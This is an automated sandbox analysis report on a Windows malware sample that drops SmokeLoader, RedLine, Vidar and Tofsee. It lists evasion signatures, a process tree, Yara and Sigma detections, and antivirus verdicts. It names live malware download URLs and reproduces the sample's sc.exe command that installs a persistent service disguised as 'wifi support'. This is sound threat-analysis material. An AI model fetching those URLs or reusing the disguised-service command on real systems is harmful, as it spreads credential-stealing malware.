Play interactive tour

Edit tour

Windows Analysis Report JV4ILFxpDY.exe

Overview

General Information

Sample Name:	JV4ILFxpDY.exe
Analysis ID:	552985
MD5:	228e9e4a42f5596a5becbacc44a03fc7
SHA1:	c1207ad874e88db39fb45fbb30b80a22b14a3f8d
SHA256:	587e1548861c1d728e458c1a01c5d7778a9981c292f472d0e53b762e52c3112f
Tags:	Amadeyexe
Infos:
Most interesting Screenshot:

Detection

RedLine SmokeLoader Tofsee Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Detected unpacking (overwrites its own PE header)

Yara detected SmokeLoader

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for submitted file

Benign windows process drops PE files

Yara detected Vidar stealer

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Yara detected Tofsee

Sigma detected: Copying Sensitive Files with Credential Data

Maps a DLL or memory area into another process

Found evasive API chain (may stop execution after checking mutex)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

Injects a PE file into a foreign processes

Found evasive API chain (may stop execution after checking locale)

Contains functionality to inject code into remote processes

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Checks if the current machine is a virtual machine (disk enumeration)

.NET source code references suspicious native API functions

Changes security center settings (notifications, updates, antivirus, firewall)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

.NET source code contains method to dynamically call methods (often used by packers)

PE file has nameless sections

Machine Learning detection for dropped file

Contains functionality to detect sleep reduction / modifications

Found evasive API chain (may stop execution after checking computer name)

Antivirus or Machine Learning detection for unpacked file

One or more processes crash

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Contains functionality to launch a process as a different user

Sample execution stops while process was sleeping (likely an evasion)

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

Checks if the current process is being debugged

Binary contains a suspicious time stamp

Found large amount of non-executed APIs

May check if the current machine is a sandbox (GetTickCount - Sleep)

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Creates files inside the system directory

PE file contains sections with non-standard names

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

PE file contains executable resources (Code or Archives)

Entry point lies outside standard sections

Creates a DirectInput object (often for capturing keystrokes)

AV process strings found (often used to terminate AV products)

PE file contains an invalid checksum

Extensive use of GetProcAddress (often used to hide API calls)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Detected TCP or UDP traffic on non-standard ports

Found evaded block containing many API calls

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Uses Microsoft's Enhanced Cryptographic Provider

Contains functionality to simulate mouse events

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

JV4ILFxpDY.exe (PID: 7012 cmdline: "C:\Users\user\Desktop\JV4ILFxpDY.exe" MD5: 228E9E4A42F5596A5BECBACC44A03FC7)

JV4ILFxpDY.exe (PID: 7072 cmdline: "C:\Users\user\Desktop\JV4ILFxpDY.exe" MD5: 228E9E4A42F5596A5BECBACC44A03FC7)

explorer.exe (PID: 3352 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

7C86.exe (PID: 1316 cmdline: C:\Users\user\AppData\Local\Temp\7C86.exe MD5: 277680BD3182EB0940BC356FF4712BEF)

WerFault.exe (PID: 5476 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1316 -s 520 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

8939.exe (PID: 6260 cmdline: C:\Users\user\AppData\Local\Temp\8939.exe MD5: 9132D968A613216A67E889ADDB7307E1)

8939.exe (PID: 6728 cmdline: C:\Users\user\AppData\Local\Temp\8939.exe MD5: 9132D968A613216A67E889ADDB7307E1)

D675.exe (PID: 2016 cmdline: C:\Users\user\AppData\Local\Temp\D675.exe MD5: E65722B6D04BD927BCBF5545A8C45785)

85ED.exe (PID: 5332 cmdline: C:\Users\user\AppData\Local\Temp\85ED.exe MD5: AE68C579B04E099661F2647392413398)

cmd.exe (PID: 2532 cmdline: "C:\Windows\SysWOW64\cmd.exe" /C mkdir C:\Windows\SysWOW64\rdxbevsp\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 3424 cmdline: "C:\Windows\SysWOW64\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\exmrkmjs.exe" C:\Windows\SysWOW64\rdxbevsp\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5028 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 6528 cmdline: C:\Windows\SysWOW64\sc.exe" create rdxbevsp binPath= "C:\Windows\SysWOW64\rdxbevsp\exmrkmjs.exe /d\"C:\Users\user\AppData\Local\Temp\85ED.exe\"" type= own start= auto DisplayName= "wifi support MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 5340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

8DFC.exe (PID: 856 cmdline: C:\Users\user\AppData\Local\Temp\8DFC.exe MD5: D7DF01D8158BFADDC8BA48390E52F355)

8DFC.exe (PID: 5868 cmdline: C:\Users\user\AppData\Local\Temp\8DFC.exe MD5: D7DF01D8158BFADDC8BA48390E52F355)

svchost.exe (PID: 7024 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 7100 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 7132 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5252 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6456 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6404 cmdline: c:\windows\system32\svchost.exe -k unistacksvcgroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

SgrmBroker.exe (PID: 5716 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EA6)

svchost.exe (PID: 2804 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

MpCmdRun.exe (PID: 4404 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: A267555174BFA53844371226F482B86B)

conhost.exe (PID: 4060 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

svchost.exe (PID: 6868 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6632 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

jhewjjt (PID: 3044 cmdline: C:\Users\user\AppData\Roaming\jhewjjt MD5: 228E9E4A42F5596A5BECBACC44A03FC7)

jhewjjt (PID: 6988 cmdline: C:\Users\user\AppData\Roaming\jhewjjt MD5: 228E9E4A42F5596A5BECBACC44A03FC7)

svchost.exe (PID: 1952 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6324 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

WerFault.exe (PID: 6456 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 1316 -ip 1316 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

dllhost.exe (PID: 5116 cmdline: C:\Windows\system32\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E} MD5: 2528137C6745C4EADD87817A1909677E)

dllhost.exe (PID: 2352 cmdline: C:\Windows\system32\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E} MD5: 2528137C6745C4EADD87817A1909677E)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000019.00000002.391758974.0000000000613000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000019.00000002.391758974.0000000000613000.00000004.00000001.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000001B.00000002.439913258.0000000003DD1000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001A.00000002.436599794.0000000000640000.00000040.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000028.00000000.434050190.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000002.00000002.330734940.00000000004A0000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000F.00000002.386614680.00000000005C0000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000028.00000000.433322362.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000028.00000000.432692985.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000A.00000000.318001908.0000000004DE1000.00000020.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000F.00000002.386682726.00000000005E1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001A.00000003.396578240.0000000000660000.00000004.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000028.00000000.434564160.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000018.00000002.402105376.00000000004D1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000018.00000002.401978598.0000000000420000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000002.00000002.330793260.00000000004E1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
Process Memory Space: 85ED.exe PID: 5332	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
Click to see the 13 entries

Unpacked PEs

Source	Rule	Description	Author
14.2.jhewjjt.5715a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0.2.JV4ILFxpDY.exe.6415a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
27.2.8DFC.exe.3eef910.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
26.3.85ED.exe.660000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
2.1.JV4ILFxpDY.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
2.2.JV4ILFxpDY.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
40.0.8DFC.exe.400000.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
26.2.85ED.exe.400000.0.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
24.0.8939.exe.400000.4.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
15.1.jhewjjt.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
26.2.85ED.exe.400000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
40.0.8DFC.exe.400000.6.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
40.0.8DFC.exe.400000.10.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
24.1.8939.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
24.0.8939.exe.400000.5.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
24.0.8939.exe.400000.6.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
24.2.8939.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
40.0.8DFC.exe.400000.12.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
26.2.85ED.exe.640e50.1.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
21.2.8939.exe.5715a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
27.2.8DFC.exe.3eef910.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
15.2.jhewjjt.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
40.0.8DFC.exe.400000.8.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 18 entries

Sigma Overview

System Summary:

Sigma detected: Copying Sensitive Files with Credential Data

Show sources

Source: Process started

Author: Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community: Data: Command: "C:\Windows\SysWOW64\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\exmrkmjs.exe" C:\Windows\SysWOW64\rdxbevsp\, CommandLine: "C:\Windows\SysWOW64\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\exmrkmjs.exe" C:\Windows\SysWOW64\rdxbevsp\, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\85ED.exe, ParentImage: C:\Users\user\AppData\Local\Temp\85ED.exe, ParentProcessId: 5332, ProcessCommandLine: "C:\Windows\SysWOW64\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\exmrkmjs.exe" C:\Windows\SysWOW64\rdxbevsp\, ProcessId: 3424

Sigma detected: New Service Creation

Show sources

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\SysWOW64\sc.exe" create rdxbevsp binPath= "C:\Windows\SysWOW64\rdxbevsp\exmrkmjs.exe /d\"C:\Users\user\AppData\Local\Temp\85ED.exe\"" type= own start= auto DisplayName= "wifi support, CommandLine: C:\Windows\SysWOW64\sc.exe" create rdxbevsp binPath= "C:\Windows\SysWOW64\rdxbevsp\exmrkmjs.exe /d\"C:\Users\user\AppData\Local\Temp\85ED.exe\"" type= own start= auto DisplayName= "wifi support, CommandLine|base64offset|contains: r, Image: C:\Windows\SysWOW64\sc.exe, NewProcessName: C:\Windows\SysWOW64\sc.exe, OriginalFileName: C:\Windows\SysWOW64\sc.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\85ED.exe, ParentImage: C:\Users\user\AppData\Local\Temp\85ED.exe, ParentProcessId: 5332, ProcessCommandLine: C:\Windows\SysWOW64\sc.exe" create rdxbevsp binPath= "C:\Windows\SysWOW64\rdxbevsp\exmrkmjs.exe /d\"C:\Users\user\AppData\Local\Temp\85ED.exe\"" type= own start= auto DisplayName= "wifi support, ProcessId: 6528

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://185.7.214.171:8080/6.php	URL Reputation: Label: malware
Source: http://data-host-coin-8.com/files/6961_1642089187_2359.exe	Avira URL Cloud: Label: malware
Source: http://data-host-coin-8.com/files/8474_1641976243_3082.exe	Avira URL Cloud: Label: malware
Source: http://unicupload.top/install5.exe	URL Reputation: Label: phishing
Source: http://privacy-tools-for-you-780.com/downloads/toolspab3.exe	Avira URL Cloud: Label: malware
Source: http://data-host-coin-8.com/files/7729_1642101604_1835.exe	Avira URL Cloud: Label: malware
Source: http://data-host-coin-8.com/files/9030_1641816409_7037.exe	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\8DFC.exe

Avira: detection malicious, Label: HEUR/AGEN.1211353

Multi AV Scanner detection for submitted file

Show sources

Source: JV4ILFxpDY.exe

Virustotal: Detection: 33%

Perma Link

Multi AV Scanner detection for domain / URL

Show sources

Source: http://data-host-coin-8.com/files/6961_1642089187_2359.exe	Virustotal: Detection: 12%	Perma Link
Source: http://data-host-coin-8.com/files/8474_1641976243_3082.exe	Virustotal: Detection: 16%	Perma Link
Source: http://privacy-tools-for-you-780.com/downloads/toolspab3.exe	Virustotal: Detection: 13%	Perma Link

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\1530.exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Temp\754.exe	ReversingLabs: Detection: 46%
Source: C:\Users\user\AppData\Local\Temp\7C86.exe	Metadefender: Detection: 45%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\7C86.exe	ReversingLabs: Detection: 76%
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Metadefender: Detection: 45%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	ReversingLabs: Detection: 89%
Source: C:\Users\user\AppData\Local\Temp\D489.exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Temp\E812.exe	Metadefender: Detection: 29%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\E812.exe	ReversingLabs: Detection: 81%

Machine Learning detection for sample

Show sources

Source: JV4ILFxpDY.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\1530.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\36D4.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\7C86.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\259C.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\jhewjjt	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\F10C.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\exmrkmjs.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\754.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\E812.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\D489.exe	Joe Sandbox ML: detected

Source: 26.2.85ED.exe.400000.0.unpack	Avira: Label: BDS/Backdoor.Gen
Source: 26.3.85ED.exe.660000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 25.2.D675.exe.580e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 26.2.85ED.exe.640e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 25.3.D675.exe.5a0000.0.unpack	Avira: Label: TR/Patched.Ren.Gen

Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00407470 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	25_2_00407470
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00404830 memset,CryptStringToBinaryA,CryptStringToBinaryA,	25_2_00404830
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00407510 CryptUnprotectData,LocalAlloc,LocalFree,	25_2_00407510
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00407190 CryptUnprotectData,	25_2_00407190
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_004077A0 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	25_2_004077A0
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_005876C0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	25_2_005876C0
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00584A80 CryptStringToBinaryA,CryptStringToBinaryA,	25_2_00584A80
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_00587760 CryptUnprotectData,LocalAlloc,LocalFree,	25_2_00587760
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_005879F0 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	25_2_005879F0
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: 25_2_005873E0 CryptUnprotectData,	25_2_005873E0

Compliance:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\D675.exe	Unpacked PE file: 25.2.D675.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Unpacked PE file: 26.2.85ED.exe.400000.0.unpack

Source: JV4ILFxpDY.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\AppData\Local\Temp\7C86.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 185.233.81.115:443 -> 192.168.2.3:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.3:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.105:443 -> 192.168.2.3:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.3:49897 version: TLS 1.2

Source:	Binary string: profapi.pdb source: WerFault.exe, 00000017.00000003.393680200.0000000005716000.00000004.00000040.sdmp
Source:	Binary string: 8C:\pedaxopuw.pdbh source: D675.exe, 00000019.00000000.386978389.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: C:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: 7C86.exe, 00000011.00000000.378885268.0000000000413000.00000002.00020000.sdmp, 7C86.exe, 00000011.00000000.371173430.0000000000413000.00000002.00020000.sdmp, WerFault.exe, 00000017.00000002.419541174.0000000005630000.00000002.00020000.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000017.00000003.393659790.0000000005741000.00000004.00000001.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000017.00000003.387867064.0000000005328000.00000004.00000001.sdmp, WerFault.exe, 00000017.00000003.393659790.0000000005741000.00000004.00000001.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000017.00000003.393669536.0000000005710000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000017.00000003.393659790.0000000005741000.00000004.00000001.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000017.00000003.393659790.0000000005741000.00000004.00000001.sdmp
Source:	Binary string: C:\jixesu11\seyaruvefuf-razasutiwas65\bizi nuxuli39-jesi.pdbh source: 8939.exe, 00000015.00000000.378424582.0000000000401000.00000020.00020000.sdmp, 8939.exe, 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, 8939.exe, 00000018.00000000.382588155.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000017.00000003.393669536.0000000005710000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000017.00000003.393659790.0000000005741000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdbk source: WerFault.exe, 00000017.00000003.393669536.0000000005710000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000017.00000003.393680200.0000000005716000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000017.00000003.393680200.0000000005716000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdbk source: WerFault.exe, 00000017.00000003.393669536.0000000005710000.00000004.00000040.sdmp
Source:	Binary string: C:\goju-vilobotabudud89.pdb source: JV4ILFxpDY.exe, JV4ILFxpDY.exe, 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, JV4ILFxpDY.exe, 00000000.00000000.271656833.0000000000401000.00000020.00020000.sdmp, JV4ILFxpDY.exe, 00000002.00000000.274282785.0000000000401000.00000020.00020000.sdmp, jhewjjt, 0000000E.00000000.362094196.0000000000401000.00000020.00020000.sdmp, jhewjjt, 0000000E.00000002.370117692.0000000000401000.00000020.00020000.sdmp, jhewjjt, 0000000F.00000000.365615312.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000017.00000003.393659790.0000000005741000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000017.00000003.393680200.0000000005716000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb< source: WerFault.exe, 00000017.00000003.393680200.0000000005716000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000017.00000003.393659790.0000000005741000.00000004.00000001.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000017.00000003.393669536.0000000005710000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000017.00000003.393680200.0000000005716000.00000004.00000040.sdmp
Source:	Binary string: C:\pedaxopuw.pdb source: D675.exe, 00000019.00000000.386978389.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: msvcr100.i386.pdb source: WerFault.exe, 00000017.00000003.393669536.0000000005710000.00000004.00000040.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000017.00000003.393680200.0000000005716000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000017.00000003.393659790.0000000005741000.00000004.00000001.sdmp
Source:	Binary string: @C:\goju-vilobotabudud89.pdbh source: JV4ILFxpDY.exe, 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, JV4ILFxpDY.exe, 00000000.00000000.271656833.0000000000401000.00000020.00020000.sdmp, JV4ILFxpDY.exe, 00000002.00000000.274282785.0000000000401000.00000020.00020000.sdmp, jhewjjt, 0000000E.00000000.362094196.0000000000401000.00000020.00020000.sdmp, jhewjjt, 0000000E.00000002.370117692.0000000000401000.00000020.00020000.sdmp, jhewjjt, 0000000F.00000000.365615312.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000017.00000003.393669536.0000000005710000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000017.00000003.393659790.0000000005741000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000017.00000003.393669536.0000000005710000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdbk source: WerFault.exe, 00000017.00000003.393669536.0000000005710000.00000004.00000040.sdmp
Source:	Binary string: C:\jixesu11\seyaruvefuf-razasutiwas65\bizi nuxuli39-jesi.pdb source: 8939.exe, 8939.exe, 00000015.00000000.378424582.0000000000401000.00000020.00020000.sdmp, 8939.exe, 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, 8939.exe, 00000018.00000000.382588155.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000017.00000003.393680200.0000000005716000.00000004.00000040.sdmp
